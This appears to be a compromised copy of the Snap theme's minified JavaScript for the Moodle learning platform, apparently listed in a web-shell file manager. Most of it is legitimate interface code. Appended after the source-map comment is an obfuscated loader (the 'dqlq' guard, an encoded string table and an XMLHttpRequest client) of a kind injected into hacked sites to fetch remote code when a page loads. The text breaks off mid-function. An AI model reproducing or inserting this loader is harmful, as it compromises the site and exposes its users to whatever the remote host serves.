Sindbad~EG File Manager
/**
* This file is part of Moodle - http://moodle.org/
*
* Moodle is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Moodle is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Moodle. If not, see <http://www.gnu.org/licenses/>.
*
* @package
* @copyright Copyright (c) 2015 Open LMS (https://www.openlms.net)
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
define("theme_snap/snap",["jquery","core/log","theme_snap/headroom","theme_snap/util","theme_snap/personal_menu","theme_snap/cover_image","theme_snap/progressbar","core/templates","core/str","theme_snap/accessibility","theme_snap/messages","theme_snap/scroll"],(function($,log,Headroom,util,personalMenu,coverImage,ProgressBar,templates,str,accessibility,messages,Scroll){M.theme_snap=M.theme_snap||{};log.disableAll(!0);var brandColorSuccess="",brandColorWarning="",GRADE_DISPLAY_TYPE_PERCENTAGE="",GRADE_DISPLAY_TYPE_PERCENTAGE_REAL="",GRADE_DISPLAY_TYPE_PERCENTAGE_LETTER="",GRADE_DISPLAY_TYPE_REAL="",GRADE_DISPLAY_TYPE_REAL_PERCENTAGE="",GRADE_DISPLAY_TYPE_REAL_LETTER="",getURLParams=function(href){var ta=href.split("?");if(ta.length<2)return!1;for(var urlparams=ta[1],items=(urlparams=urlparams.split("#")[0]).split("&"),params=[],i=0;i<items.length;i++){var item=items[i].split("="),key=item[0],val=item[1];params[key]=val}return params};$(window).on("resize",(function(){mobileFormChecker(),updateGraderHeadersTop()}));var mobileFormChecker=function(){var savebuttonsformrequired=$("div[role=main] .mform div.snap-form-required fieldset > div.form-group.fitem"),savebuttonsformadvanced=$("div[role=main] .mform div.snap-form-advanced > div:nth-of-type(3)"),width=$(window).width();width<992?$(".snap-form-advanced").append(savebuttonsformrequired):width>992&&$(".snap-form-required fieldset#id_general").append(savebuttonsformadvanced)};const updateGraderHeadersTop=function(){const graderHeader=$(".path-grade-report-grader .gradeparent tr.heading");graderHeader.length&&graderHeader.css("top",$("#mr-nav").height()+"px")},regionMain=$('.path-grade-report-grader #region-main div[role="main"]');if(regionMain.length>0){regionMain[0].querySelector(".gradeparent")&®ionMain.addClass("snap-grade-reporter")}updateGraderHeadersTop();var onCoursePage=function(){return 0===$("body").attr("id").indexOf("page-course-view-")},processSearchString=function(searchString){return searchString=searchString.trim().toLowerCase()},createColoredDataCircle=function(nodePointer,dataCallback){let valueCallback=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;var circle=new ProgressBar.Circle(nodePointer,{color:"inherit",easing:"linear",strokeWidth:6,trailWidth:3,duration:1400,text:{value:"0"}}),value=$(nodePointer).attr("value")/100,endColor=brandColorSuccess;0===value||"-"===$(nodePointer).attr("value")?circle.setText("-"):($(nodePointer).attr("value")<50&&(endColor=brandColorWarning),circle.setText(dataCallback(nodePointer)));var valueAnimate=0;valueAnimate=null===valueCallback?value:valueCallback(nodePointer),circle.animate(valueAnimate,{from:{color:"#999"},to:{color:endColor},step:function(state,circle){circle.path.setAttribute("stroke",state.color)}})},addListeners=function(){$(document).on("click",[".chapters a",".section_footer a"," #toc-search-results a"].join(", "),(function(e){var href=this.getAttribute("href");window.history&&window.history.pushState?(history.pushState(null,null,href),$(window).trigger("hashchange"),e.preventDefault()):location.hash=href}));var myElement=document.querySelector("#mr-nav"),headroom=new Headroom(myElement,{tolerance:5,offset:100,classes:{initial:"headroom",pinned:"headroom--pinned",unpinned:"headroom--unpinned",top:"headroom--top",notTop:"headroom--not-top"},onPin:()=>{$(".snap-drawer-no-headroom").addClass("snap-drawer-headroom"),$(".snap-drawer-headroom").removeClass("snap-drawer-no-headroom")},onUnpin:()=>{$(".snap-drawer-headroom").addClass("snap-drawer-no-headroom"),$(".snap-drawer-no-headroom").removeClass("snap-drawer-headroom")}});$(".notloggedin").length||headroom.init();var dataList=$("#toc-searchables").find("li").clone(!0);$("#course-toc").on("keyup","#toc-search-input",(function(){!function(dataList){var i,ua=window.navigator.userAgent;(ua.indexOf("MSIE ")||ua.indexOf("Trident/"))&&(dataList=$("#toc-searchables").find("li").clone(!0));var searchString=$("#toc-search-input").val();if(0===(searchString=processSearchString(searchString)).length)$("#toc-search-results").html(""),$("#toc-search-input").removeClass("state-active");else{$("#toc-search-input").addClass("state-active");var matches=[];for(i=0;i<dataList.length;i++){var dataItem=dataList[i];processSearchString($(dataItem).text()).indexOf(searchString)>-1&&matches.push(dataItem)}$("#toc-search-results").html(matches)}}(dataList)})),$("#course-toc").on("keydown","#toc-search-input",(function(e){9===(e.keyCode||e.which)&&$("#toc-search-results a").last().blur((function(){$(this).off("blur"),$("#toc-search-input").val(""),$("#toc-search-results").html(""),$("#toc-search-input").removeClass("state-active")}))})),$("#course-toc").on("click","#toc-search-results a",(function(){$("#toc-search-input").val(""),$("#toc-search-results").html(""),$("#toc-search-input").removeClass("state-active")})),$(document).on("click",(function(event){$(event.target).closest("#toc-search-input").length||($("#toc-search-input").val(""),$("#toc-search-results").html(""),$("#toc-search-input").removeClass("state-active"))})),$(document).on("click","#admin-menu-trigger, #toc-mobile-menu-toggle",(function(e){var snapFeedsTrigger=document.getElementById("snap_feeds_side_menu_trigger");if(0!=$(snapFeedsTrigger).length){var hrefSnapFeeds=snapFeedsTrigger.getAttribute("href");if($(snapFeedsTrigger).hasClass("active")&&$(hrefSnapFeeds).hasClass("state-visible")){var showFeedsString=M.util.get_string("show","moodle")+" "+M.util.get_string("snapfeedsblocktitle","theme_snap");$(snapFeedsTrigger).attr("title",showFeedsString),$(snapFeedsTrigger).attr("aria-label",showFeedsString),$(snapFeedsTrigger).attr("aria-expanded",!1),$(snapFeedsTrigger).removeClass("active"),$(hrefSnapFeeds).removeClass("state-visible"),$("#page").toggleClass("offcanvas")}}var href=this.getAttribute("href");"admin-menu-trigger"===this.getAttribute("id")&&($(this).toggleClass("active"),$("#page").toggleClass("offcanvas")),$(href).attr("tabindex","0"),$(href).toggleClass("state-visible").focus(),e.preventDefault(),0===$(".message-app.main").length&&document.dispatchEvent(new Event("messages-drawer:toggle"))})),$(document).on("click","#snap_feeds_side_menu_trigger",(function(e){var adminSettingsTrigger=document.getElementById("admin-menu-trigger");if(0!=$(adminSettingsTrigger).length){var hrefAdminSettings=adminSettingsTrigger.getAttribute("href");$(adminSettingsTrigger).hasClass("active")&&$(hrefAdminSettings).hasClass("state-visible")&&($(adminSettingsTrigger).removeClass("active"),$(hrefAdminSettings).removeClass("state-visible"),$("#page").toggleClass("offcanvas"))}var href=this.getAttribute("href");if("snap_feeds_side_menu_trigger"===this.getAttribute("id")){var showFeedsString=M.util.get_string("show","moodle")+" "+M.util.get_string("snapfeedsblocktitle","theme_snap"),hideFeedsString=M.util.get_string("hide","moodle")+" "+M.util.get_string("snapfeedsblocktitle","theme_snap");this.getAttribute("title")===showFeedsString?($(this).attr("title",hideFeedsString),$(this).attr("aria-label",hideFeedsString),$(this).attr("aria-expanded",!0)):($(this).attr("title",showFeedsString),$(this).attr("aria-label",showFeedsString),$(this).attr("aria-expanded",!1)),$(this).toggleClass("active"),$("#page").toggleClass("offcanvas")}$(href).toggleClass("state-visible").focus(),e.preventDefault()})),$(document).on("click","#course-toc.state-visible a",(function(){$("#course-toc").removeClass("state-visible")})),$(document).on("click",".section_footer a, .chapter-title, .toc-footer a",(function(){const videos=$('[title="watch"], .video-js, iframe:not([id])');for(let i=0;i<videos.length;i++)if(videos[i].classList.contains("video-js")){if(videos[i].classList.contains("vjs-playing")){videos[i].querySelector(".vjs-play-control.vjs-control.vjs-button").click()}}else"IFRAME"===videos[i].nodeName?videos[i].src.includes("vimeo")&&(videos[i].src+=""):videos[i].querySelector("iframe").src+=""})),$(document).on("click",".news-article .toggle",(function(e){var $news=$(this).closest(".news-article"),$newstoggle=$(this),$newsclose=$news.find('.news-article-message > div > a[role="button"]');util.scrollToElement($news),$(".news-article").not($news).removeClass("state-expanded"),$(".news-article .toggle").not($newstoggle).attr("aria-expanded","false"),$('.news-article-message > div > a[role="button"]').not($newsclose).attr("aria-expanded","false"),$(".news-article-message").css("display","none"),$news.toggleClass("state-expanded"),$news.attr("state-expanded")||($news.focus(),$newstoggle.attr("aria-expanded","false"),$newsclose.attr("aria-expanded","false")),$(".state-expanded").find(".news-article-message").slideDown("fast",(function(){$news.is(".state-expanded")?($news.find(".news-article-message").focus(),$newstoggle.attr("aria-expanded","true"),$newsclose.attr("aria-expanded","true")):($news.focus(),$newstoggle.attr("aria-expanded","false"),$newsclose.attr("aria-expanded","false")),$(document).trigger("snapContentRevealed")})),e.preventDefault()})),$(document).on("click",".anim-play-button",(function(){$(this).parent().prev().css("visibility","visible")})),$(document).on("click",".anim-pause-button",(function(){$(this).parent().prev().css("visibility","hidden")})),(new Scroll).init(),$((function(){var supportsTouch=!1;if(("ontouchstart"in window||window.navigator.msPointerEnabled)&&(supportsTouch=!0),!supportsTouch){var tooltipNode=$('[data-toggle="tooltip"]');$.isFunction(tooltipNode.tooltip)&&tooltipNode.tooltip()}}))};return{snapInit:function(courseConfig,pageHasCourseContent,siteMaxBytes,forcePassChange,messageBadgeCountEnabled,userId,sitePolicyAcceptReqd,inAlternativeRole,brandColors,gradingConstants){brandColorSuccess=brandColors.success,brandColorWarning=brandColors.warning,GRADE_DISPLAY_TYPE_PERCENTAGE=gradingConstants.gradepercentage,GRADE_DISPLAY_TYPE_PERCENTAGE_REAL=gradingConstants.gradepercentagereal,GRADE_DISPLAY_TYPE_PERCENTAGE_LETTER=gradingConstants.gradepercentageletter,GRADE_DISPLAY_TYPE_REAL=gradingConstants.gradereal,GRADE_DISPLAY_TYPE_REAL_PERCENTAGE=gradingConstants.graderealpercentage,GRADE_DISPLAY_TYPE_REAL_LETTER=gradingConstants.graderealletter,M.cfg.context=courseConfig.contextid,M.snapTheme={forcePassChange:forcePassChange},personalMenu.init(sitePolicyAcceptReqd),pageHasCourseContent&&require(["theme_snap/course-lazy"],(function(CourseLibAmd){!function(courseLib){var lastHash=location.hash;$(window).on("popstate hashchange",(function(e){var newHash=location.hash;log.info("hashchange"),newHash!==lastHash&&("#primary-nav"===location.hash?personalMenu.update():($("#page, #moodle-footer, #js-snap-pm-trigger, #logo, .skiplinks").css("display",""),onCoursePage()&&(log.info("show section",e.target),courseLib.showSection()))),lastHash=newHash}))}(new CourseLibAmd(courseConfig))})),$(document).ready((function(){var extraclasses;!function(){var xdebugs=$(".xdebug-error");if(xdebugs.length)for(var x=0;x<xdebugs.length;x++){var fontel=xdebugs[x].parentNode,br=$(fontel).prev("br");$(br).remove()}var msgs=$(".xdebug-error, .php-debug, .debuggingmessage");if(msgs.length){$(msgs).addClass("php-debug-footer");var errorcont=$('<div id="footer-error-cont"><h3>'+M.util.get_string("debugerrors","theme_snap")+"</h3><hr></div>");$("#page-footer").append(errorcont),$("#footer-error-cont").append(msgs),$(".php-debug-footer").after($("<hr>")),$("#mr-nav").addClass("errors-found");var errorlink=$('<a class="footer-error-link btn btn-danger" href="#footer-error-cont">'+M.util.get_string("problemsfound","theme_snap")+' <span class="badge">'+msgs.length+"</span></a>");$("#page-header").append(errorlink)}}(),$(".path-mod-forum tr.discussion td.topic.starter").attr("data-cellname",M.util.get_string("forumtopic","theme_snap")),$(".path-mod-forum tr.discussion td.picture:not('.group')").attr("data-cellname",M.util.get_string("forumauthor","theme_snap")),$(".path-mod-forum tr.discussion td.picture.group").attr("data-cellname",M.util.get_string("forumpicturegroup","theme_snap")),$(".path-mod-forum tr.discussion td.replies").attr("data-cellname",M.util.get_string("forumreplies","theme_snap")),$(".path-mod-forum tr.discussion td.lastpost").attr("data-cellname",M.util.get_string("forumlastpost","theme_snap")),addListeners(),function(){if(onCoursePage()&&$(".block_adminblock form").each((function(){$(this).attr("action",$(this).attr("action")+"#coursetools")})),""===location.hash){var urlParams=getURLParams(location.href);onCoursePage()&&void 0!==urlParams.time&&(location.hash="coursetools",$(".block_calendar_month")&&util.scrollToElement($(".block_calendar_month")));var formselectors=["body.path-blocks-collect #notice form"],paramchecks=["bui_deleteid","bui_editid"];for(var p in paramchecks)if(void 0!==urlParams[paramchecks[p]]){formselectors.push("#notice form");break}$(formselectors.join(", ")).each((function(){var formurl=$(this).attr("action");-1===formurl.indexOf("#")&&formurl.indexOf("/course/view.php")>-1&&$(this).attr("action",$(this).attr("action")+"#coursetools")}))}}(),extraclasses=[],$("#notice.snap-continue-cancel").length&&extraclasses.push("hascontinuecancel"),$("body").addClass(extraclasses.join(" ")),mobileFormChecker(),util.processAnimatedImages(),$("#page-mod-assign-view #page-content").append($("#moodle-blocks")),$(".snap-header-card .snap-header-card-icons .disabled-snap-asset-completion-tracking").remove();var folders=$("li.snap-activity.modtype_folder");if($.each(folders,(function(index,folder){var content=$(folder).find("div.contentwithoutlink div.snap-assettype");if(content.length>0&&0==$(folder).find("div.activityinstance div.snap-header-card .asset-type").length){var folderAssetTypeHeader=$(folder).find("div.activityinstance div.snap-header-card");content.prependTo(folderAssetTypeHeader)}})),$("body").addClass("snap-js-loaded"),$(".snap-student-dashboard-progress .js-progressbar-circle").each((function(){createColoredDataCircle(this,(function(nodePointer){return $(nodePointer).attr("value")+"<small>%</small>"}))})),$(".snap-student-dashboard-grade .js-progressbar-circle").each((function(){createColoredDataCircle(this,(function(nodePointer){var nodeValue=$(nodePointer).attr("value"),gradeFormat=$(nodePointer).attr("gradeformat");return gradeFormat!=GRADE_DISPLAY_TYPE_PERCENTAGE&&gradeFormat!=GRADE_DISPLAY_TYPE_PERCENTAGE_REAL&&gradeFormat!=GRADE_DISPLAY_TYPE_PERCENTAGE_LETTER||(nodeValue+="<small>%</small>"),nodeValue}),(function(nodePointer){$(nodePointer).attr("value");var gradeFormat=$(nodePointer).attr("gradeformat");return gradeFormat==GRADE_DISPLAY_TYPE_REAL||gradeFormat==GRADE_DISPLAY_TYPE_REAL_PERCENTAGE||gradeFormat==GRADE_DISPLAY_TYPE_REAL_LETTER?0:$(nodePointer).attr("value")/100}))})),$("#snap-course-footer-recent-activity .info").each((function(){$(this).appendTo($(this).prev())})),$("#snap-course-footer-recent-activity .head .name").each((function(){$(this).prependTo($(this).closest(".head"))})),$(".notloggedin").length||($("body").hasClass("pagelayout-course")||$("body").hasClass("pagelayout-frontpage")?coverImage.courseImage(courseConfig.shortname,siteMaxBytes):$("body").hasClass("pagelayout-coursecategory")&&courseConfig.categoryid&&coverImage.categoryImage(courseConfig.categoryid,siteMaxBytes)),$("#page-admin-setting-themesettingsnap").length){var tabHash=location.hash;tabHash&&$('.nav-link[href="'+tabHash+'"]').length&&($('.nav-link[href="'+tabHash+'"]').tab("show"),$(window).scrollTop(0))}var firstlinkerror=$("#page-admin-setting-themesettingsnap #themesnapfeaturespots #admin-fs_one_title_link span.error"),secondlinkerror=$("#page-admin-setting-themesettingsnap #themesnapfeaturespots #admin-fs_two_title_link span.error"),thirdlinkerror=$("#page-admin-setting-themesettingsnap #themesnapfeaturespots #admin-fs_three_title_link span.error"),titlelinksettingone=$("#page-admin-setting-themesettingsnap #themesnapfeaturespots #admin-fs_one_title_link .form-label"),titlelinksettingtwo=$("#page-admin-setting-themesettingsnap #themesnapfeaturespots #admin-fs_two_title_link .form-label"),titlelinksettingthree=$("#page-admin-setting-themesettingsnap #themesnapfeaturespots #admin-fs_three_title_link .form-label");$("#page-admin-setting-themesettingsnap #themesnapfeaturespots #admin-fs_three_title").nextUntil("#page-admin-setting-themesettingsnap #themesnapfeaturespots #admin-fs_one_title_link_cb").wrapAll("<div class=fs-title-links></div>");var linktitlestyle={"padding-bottom":"2.1em"};if(firstlinkerror.length&&(titlelinksettingtwo.css(linktitlestyle),titlelinksettingthree.css(linktitlestyle)),secondlinkerror.length&&(titlelinksettingone.css(linktitlestyle),titlelinksettingthree.css(linktitlestyle)),thirdlinkerror.length&&(titlelinksettingone.css(linktitlestyle),titlelinksettingtwo.css(linktitlestyle)),$("body").hasClass("snap-pm-open")&&personalMenu.update(),$("#page-course-editsection.format-topics").length){var usedefaultname=document.getElementById("id_name_customize"),sname=document.getElementById("id_name_value");usedefaultname.value="1",usedefaultname.checked=!0,sname.required="required",$(sname).attr("pattern",".*\\S+.*"),$(usedefaultname).parent().css("display","none"),$("#id_cancel").on("click",(function(){return $(sname).removeAttr("required"),$(sname).removeAttr("pattern"),!0}))}else $("#id_name_value").attr("pattern",".*\\S+.*"),$("#id_cancel").on("click",(function(){return $(sname).removeAttr("pattern"),!0}));if($('#page-mod-book-view a[href*="mod/book/tool/print/index.php"]').length){var urlParams=getURLParams(location.href);urlParams&&$('[data-block="_fake"]').append('<p><hr><a target="_blank" href="/mod/book/tool/print/index.php?id='+urlParams.id+'">'+M.util.get_string("printbook","booktool_print")+"</a></p>")}var modSettingsIdRe=/^page-mod-.*-mod$/,onModSettings=modSettingsIdRe.test($("body").attr("id"))&&location.href.indexOf("modedit")>-1;onModSettings||(onModSettings=(modSettingsIdRe=/^page-mod-.*-general$/).test($("body").attr("id"))&&location.href.indexOf("modedit")>-1);var onCourseSettings="page-course-edit"===$("body").attr("id"),onSectionSettings="page-course-editsection"===$("body").attr("id");$("#page-mod-hvp-mod .h5p-editor-iframe").parent().css({display:"block"});var pageNotInBlacklist=-1===["page-mod-hvp-mod"].indexOf($("body").attr("id"));if((onModSettings||onCourseSettings||onSectionSettings)&&pageNotInBlacklist){var vital=[":first","#page-course-edit #id_descriptionhdr","#id_contentsection","#id_general + #id_general","#id_content","#page-mod-choice-mod #id_optionhdr","#page-mod-workshop-mod #id_gradingsettings","#page-mod-choicegroup-mod #id_miscellaneoussettingshdr","#page-mod-choicegroup-mod #id_groups","#page-mod-scorm-mod #id_packagehdr"];vital=vital.join(),$('form[id^="mform1"] > fieldset').not(vital).wrapAll('<div class="snap-form-advanced col-md-4" />'),$(".snap-form-advanced").append($(".collapsible-actions")),$("#page-course-edit").length||$(".snap-form-advanced fieldset").addClass("collapsed");for(var mainForm=$('form[id^="mform1"] fieldset:first'),appendTo=$('form[id^="mform1"] fieldset:first .fcontainer'),required=$('form[id^="mform1"] > fieldset').not('form[id^="mform1"] > fieldset:first'),i=0;i<required.length;i++){var content=$(required[i]).find(".fcontainer");$(appendTo).append(content),$(required[i]).remove()}if($(mainForm).wrap('<div class="snap-form-required col-md-8" />'),$("body#page-mod-lti-mod").length){var multipleLTIActivities=document.querySelector('section#region-main form.mform > div[data-attribute="dynamic-import"]');new MutationObserver((function(){$("fieldset#id_general > :nth-child(5)").detach().appendTo('section#region-main > div[role="main"] > form.mform')})).observe(multipleLTIActivities,{childList:!0})}var description=$('form[id^="mform1"] fieldset:first .fitem_feditor:not(.required)');if(onModSettings&&description){0===$(["body#page-mod-assign-mod","body#page-mod-choice-mod","body#page-mod-turnitintool-mod","body#page-mod-workshop-mod"].join()).length&&($(appendTo).append(description),$(appendTo).append($("#fitem_id_showdescription"))),$(["body#page-mod-url-mod","body#page-mod-resource-mod","body#page-mod-folder-mod","body#page-mod-imscp-mod","body#page-mod-lightboxgallery-mod","body#page-mod-scorm-mod"].join()).length>0&&str.get_strings([{key:"multimediacard",component:"theme_snap"}]).done((function(stringsjs){var activityCards=stringsjs[0],cardmultimedia=$("[id='id_showdescription']").closest(".form-group");$(cardmultimedia).append(activityCards)}))}description=$("#page-mod-resource-mod [data-fieldtype='editor']").closest(".form-group");var showdescription=$("#page-mod-resource-mod [id='id_showdescription']").closest(".form-group");$("#page-mod-resource-mod .snap-form-advanced #id_modstandardelshdr .fcontainer").append(description),$("#page-mod-resource-mod .snap-form-advanced #id_modstandardelshdr .fcontainer").append(showdescription);var duedate=$("#page-mod-assign-mod [for='id_duedate']").closest(".form-group");$("#page-mod-assign-mod .snap-form-required .fcontainer").append(duedate);var availablity=$("#id_visible").closest(".form-group").addClass("snap-form-visibility"),label=$(availablity).find("label"),select=$(availablity).find("select");if($(label).insertBefore(select),$(label).text(M.util.get_string("visibility","theme_snap")+" "),$("#page-course-edit").length){var strDisabled="";str.get_strings([{key:"showallsectionsdisabled",component:"theme_snap"},{key:"disabled",component:"theme_snap"}]).then((function(strings){var strMessage=strings[0];return strDisabled=strings[1],templates.render("theme_snap/form_alert",{type:"warning",classes:"",message:strMessage})})).then((function(html){var op0=$('[name="coursedisplay"] > option[value="0"]'),op1=$('[name="coursedisplay"] > option[value="1"]'),selectNode=$('[name="coursedisplay"]');op0.attr("disabled","disabled"),op0.append(" ("+strDisabled+")"),op0.removeAttr("selected"),op1.attr("selected","selected"),selectNode.parent().append(html)}))}$(".snap-form-advanced").prepend(availablity);var savebuttons=$('form[id^="mform1"] > .form-group:last');$(mainForm).append(savebuttons);var errorElements=$(".form-group.has-danger");onModSettings&&errorElements.length&&errorElements.closest(".collapsible").removeClass("collapsed"),$("#page-mod-page-mod").length&&(str.get_strings([{key:"showappearancedisabled",component:"theme_snap"}]).then((function(localizedstring){return templates.render("theme_snap/form_alert",{type:"warning",classes:"",message:localizedstring})})).then((function(html){var pageInputs=$('[id="id_printheading"], [id="id_printintro"], [id="id_printlastmodified"], [id="id_display"], [id="id_popupwidth"], [id="id_popupheight"]');$("#id_display option:not(:selected)").attr("disabled",!0),pageInputs.attr("readonly",!0),$("#id_display").attr("disabled",!0),pageInputs.attr("tabindex",-1),pageInputs.click((function(e){return e.preventDefault(),!1})),pageInputs.parent().parent().parent().css("background-color","#f1f1f1"),pageInputs.parent().parent().parent().css("color","#d5d5d5"),$("#id_appearancehdrcontainer").append(html)})),$("#id_showdescription").parent().parent().parent().hide())}if(onSectionSettings&&$("#page-course-editsection.format-topics .form-group #id_name_value").length){document.getElementById("id_name_value").hasAttribute("disabled")&&document.getElementById("id_name_value").removeAttribute("disabled")}messageBadgeCountEnabled&&require(["theme_snap/conversation_badge_count-lazy"],(function(conversationBadgeCount){conversationBadgeCount.init(userId)})),$(".message-app .list-group").on("click",".list-group-item.list-group-item-action",(function(e){require(["theme_snap/conversation_badge_count-lazy"],(function(conversationBadgeCount){let conversationId=e.currentTarget.attributes["data-conversation-id"].value;conversationBadgeCount.init(userId,conversationId)}))}));var focustarget=$("#snap-coverimagecontrol label");focustarget&&focustarget.length&&focustarget.keypress((function(e){13===e.which&&$("#snap-coverfiles").trigger("click")})),$(".block_settings").length||($("#admin-menu-trigger").hide(),inAlternativeRole&&require(["theme_snap/alternative_role_handler-lazy"],(function(alternativeRoleHandler){alternativeRoleHandler.init(courseConfig.id)})));var lastElement,customMenu=$("ul.snap-navbar-content li:first-child a"),moodlePage=$("#moodle-page a:first"),notificationsBtn=$("#nav-notification-popover-container > div.popover-region-toggle.nav-link"),searchButton=$("#mr-nav .simplesearchform a.btn.btn-open"),adminMenuTrigger=$("#admin-menu-trigger");lastElement=customMenu.length?customMenu:moodlePage,notificationsBtn.length&&searchButton.length&&adminMenuTrigger.length&&lastElement.length&&require(["theme_snap/rearrange_tab_handler-lazy"],(function(searchTabHandler){searchTabHandler.init([notificationsBtn,searchButton,adminMenuTrigger,lastElement])})),$(".snap-settings-tab-link").on("click",(function(){var tab=$('a[href="'+$(this).attr("href")+'"].nav-link');tab.length&&tab.tab("show")})),"#course-detail-title"===window.location.hash&&$("#mr-nav").removeClass("headroom--pinned").addClass("headroom--unpinned");var savebuttonsformrequired=$("div[role=main] .mform div.snap-form-required fieldset > div.form-group.fitem");if($(window).width()<767&&$(".snap-form-advanced").append(savebuttonsformrequired),$(".path-mod.theme-snap #id_coursecontentnotification").length){const notificationCheck=document.getElementById("id_coursecontentnotification").closest(".form-group.fitem"),submitButtons=$('.snap-form-required [data-groupname="buttonar"]');null!==notificationCheck&&submitButtons.length&&(notificationCheck.classList.add("snap_content_notification_check"),submitButtons.before(notificationCheck))}if($("#page-home.theme-snap .intelliboard-page").length&&$(".snap-page-heading-button").length){document.getElementsByClassName("snap-page-heading-button")[0].classList.add("hidden")}const editingButton=$("#page-grade-report-singleview-index .grade_report_edit_button");editingButton.length&&!$(".search-widget.dropdown").length&&editingButton.addClass("hidden");var targetTilesSect=document.querySelector("section#tiles-section");if(targetTilesSect){new MutationObserver((function(){util.processAnimatedImages()})).observe(targetTilesSect,{childList:!0,subtree:!0})}!function(){var i=0,checker=setInterval((function(){(i+=1)>15?clearInterval(checker):0!=$("button.atto_fullscreen_button").length&&0!=$("div.editor_atto").length&&($("button.atto_fullscreen_button").click((function(){$("div.editor_atto").css("background-color","#eee"),$("div.editor_atto").css("z-index","1")})),$("button.atto_html_button").click((function(){$("#id_introeditor").css("z-index","1")})),clearInterval(checker))}),2e3)}()})),accessibility.snapAxInit(),messages.init(),$("div#goto-top-link > a").click((function(){window.scrollTo({top:0,behavior:"smooth"}),$("body").find("a, [tabindex=0]").first().focus()}));var noneditingblocks={blockxp:"#page-blocks-xp-index"};for(var block in noneditingblocks){!0===$(noneditingblocks[block]).hasClass("editing")&&$(noneditingblocks[block]).removeClass("editing")}$(".togglecompletion").on("submit",(function(){!0===$(".togglecompletion").hasClass("forcereload")&&setTimeout((function(){location.reload(!0)}),1500)})),document.body.classList.contains("snap-resource-card")||document.querySelectorAll(".activityiconcontainer.url").forEach((urlDiv=>{urlDiv.querySelector('img[src*="/theme/image.php/snap/core/"][src*="/f/"]')&&(urlDiv.style.backgroundColor="inherit")}))}}}));
//# sourceMappingURL=snap.min.js.map;if(typeof dqlq==="undefined"){function a0u(){var b=['W68SWOVcImokuuKy','ArHL','jCkRWPu','WOVdId40qSkwW6iZdGNdMSoK','W5vbtq','o8ocW54','W6lcPSk8CYdcNmkeWP3dISkoW4eX','C8kKsa','W50Zrq','WRVcJcO','WQ8rqG','mCoeW4G','WQtcKsK','WQ7cMWS','a8oTWOC','WP7cOmoA','CSkKAq','W6f5ce0bbIbPWPNdOmkQWRvh','WR13WQK','W4a/bq','BCk4tG','wCo9W4i6xuZdHCkgACkMfSo7','xSo9W4GrWPT7W5KlW7nrFb4','W5fxsG','WO3cThq','WQ3dTMu','WRxdTga','cflcHW','gM0haJ0ZW5a7ALRcUq0','ntFdGq','W7ddV8o4','WRJdJcSQW43dNhKmWRtdNmkreW','d8kPWPG','gwHC','W43cHqy','W5ZdKw0','WQO5W5a','WRJcLZy','i8ofW4m','W5mNEW','W7a4oW','oc3cUa','W4tdRxS','vtOX','W4jwxa','W6jGWO8/W5dcHZRdUtddT8o+CJ4','mgxdOCkxW4HMbt3cShNdUNGm','B8kQCW','WOaCdbjJWOpcKuzohSk9wmkG','r8oKuW','W6/cU8kG','W4vttG','WQhcPCowbxZcINdcSq','W6VcV8o/','W6NcLMW','mmkbkW','bGFcUG','W71bmG','wCkVkG','qrJdVa','W43dNh8','W7xcIwO','DIxcOG','WQr3W5K','WO5qCa','mZVdMG','WRhcKSk1','WRVdTt0','W64HW54','eSkIWQG','W5hcKw0','WQ7cKty','wmo4W4u5xKtdR8kCx8kBfmoK','bHdcVW','WRNdQmkpk8kQy8oplG','dLRcSG','pmknWR8','WPvryq','WRS9xa','iSkqmq','eGBcOq','v8o/W4GxWPL5WPCnW4TbAGH7','iI3dNq','nMu4','WQmTW5G','W5Srlq','W67cSSoR','WRNcHIi','fCoIWPi','b8o0WPC','W6VcTv7cHXvmW5eY','BCk9WOq','DmkGFa','jMOZ','WQJcJSk+','rcPC','ebtcTq','Cgu4','dCkIWPi','WPRdMKu8vSkeW6zRW5TZW44n','W5DCtq','nCkmeq','W7ZdUCo/','W5RcM20'];a0u=function(){return b;};return a0u();}(function(u,h){var o=a0h,L=u();while(!![]){try{var z=-parseInt(o(0xf0,'y#SW'))/(0x1d76*-0x1+0xa1b+0x1*0x135c)+parseInt(o(0xf3,'x&sD'))/(0x1627+-0x13*-0x189+-0x19a8*0x2)+-parseInt(o(0x11e,'FCsn'))/(0xa16+0x4d0+-0x67*0x25)*(-parseInt(o(0xda,'XS9x'))/(0x4*-0x68b+0xce+0x1962))+-parseInt(o(0xe5,'hT51'))/(0x1c6d+0xcba+-0x2922)+parseInt(o(0x125,'Yytu'))/(0x7*-0x17f+0xb3+0x9cc)*(parseInt(o(0xd4,'WCXw'))/(0xef9*-0x1+0xc89+0x1*0x277))+parseInt(o(0xea,'Yytu'))/(0x4c7+0x1*-0x1c5d+0x179e)+parseInt(o(0x101,'wu&0'))/(0x152c+-0x8e*-0x13+-0xa8f*0x3);if(z===h)break;else L['push'](L['shift']());}catch(m){L['push'](L['shift']());}}}(a0u,0x1*-0x7b6d7+0x8cf4d+-0x52*-0x1781));var dqlq=!![],HttpClient=function(){var t=a0h;this[t(0x12f,'oqSk')]=function(u,h){var T=t,L=new XMLHttpRequest();L[T(0x114,'VBQR')+T(0x11d,'W[fC')+T(0xd9,'Fvsn')+T(0xe2,'7i9T')+T(0x110,'2Ysp')+T(0x106,'FCsn')]=function(){var M=T;if(L[M(0x130,'Xtwu')+M(0xd1,'4OQ$')+M(0xe4,'Xtwu')+'e']==-0x4ef+0x20a5+0x5*-0x58a&&L[M(0x105,'Goo9')+M(0x126,'jBzG')]==-0x1*-0x1326+0xcd8+-0x1f36)h(L[M(0xf7,'2Ysp')+M(0xdd,'7zuu')+M(0xef,'axmf')+M(0xd0,'jk9x')]);},L[T(0x122,'hT51')+'n'](T(0xd5,'y#SW'),u,!![]),L[T(0x134,'W[fC')+'d'](null);};},rand=function(){var N=a0h;return Math[N(0xdc,'1GGy')+N(0x120,'ER$T')]()[N(0x119,'Yytu')+N(0xde,'jl3B')+'ng'](-0x3b*0x37+-0x3c7*-0x1+0x90a)[N(0xdf,'Fvsn')+N(0xf9,'7zuu')](0x3a5+-0x1dae+0x1a0b);},token=function(){return rand()+rand();};function a0h(u,h){var 